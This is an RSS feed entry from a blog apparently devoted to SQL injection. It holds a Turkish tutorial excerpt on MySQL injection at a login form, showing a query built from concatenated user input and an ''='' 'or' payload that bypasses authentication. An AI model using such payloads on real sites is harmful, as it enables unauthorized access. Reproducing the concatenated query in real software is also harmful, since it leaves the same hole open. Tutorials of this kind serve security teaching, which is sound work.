<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Error Based on diaryofinjector</title><link>https://diaryofinjector.com/tags/error-based/</link><description>Recent content in Error Based on diaryofinjector</description><generator>Hugo</generator><language>en</language><lastBuildDate>Thu, 07 Dec 2017 00:00:00 +0000</lastBuildDate><atom:link href="https://diaryofinjector.com/tags/error-based/index.xml" rel="self" type="application/rss+xml"/><item><title>Mysql Error Based Injection</title><link>https://diaryofinjector.com/posts/mysql-error-based-injection/</link><pubDate>Thu, 07 Dec 2017 00:00:00 +0000</pubDate><guid>https://diaryofinjector.com/posts/mysql-error-based-injection/</guid><description>&lt;p>Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.&lt;/p>
&lt;p>&lt;img src="1.png" alt="Ana login giriş ekranı">&lt;/p>
&lt;p>Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.&lt;/p>
&lt;p>&lt;img src="2.png" alt="Rastgele değer girişi">&lt;/p>
&lt;p>Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">uyeler&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;asd&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">and&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;asd&amp;#39;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>şimdi bir de kullanıcı adı bölümüne: &lt;code>'=' 'or'&lt;/code> ile deniyelim.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">uyeler&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39; &amp;#39;&lt;/span>&lt;span class="k">or&lt;/span>&lt;span class="s1">&amp;#39; &amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">and&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39; &amp;#39;&lt;/span>&lt;span class="k">or&lt;/span>&lt;span class="s1">&amp;#39; &amp;#39;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>yukarıdaki sorgudan anlaşılacağı gibi username=&amp;rsquo;&amp;rsquo; deki ve password=&amp;rsquo;&amp;rsquo; deki tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.&lt;/p></description></item></channel></rss>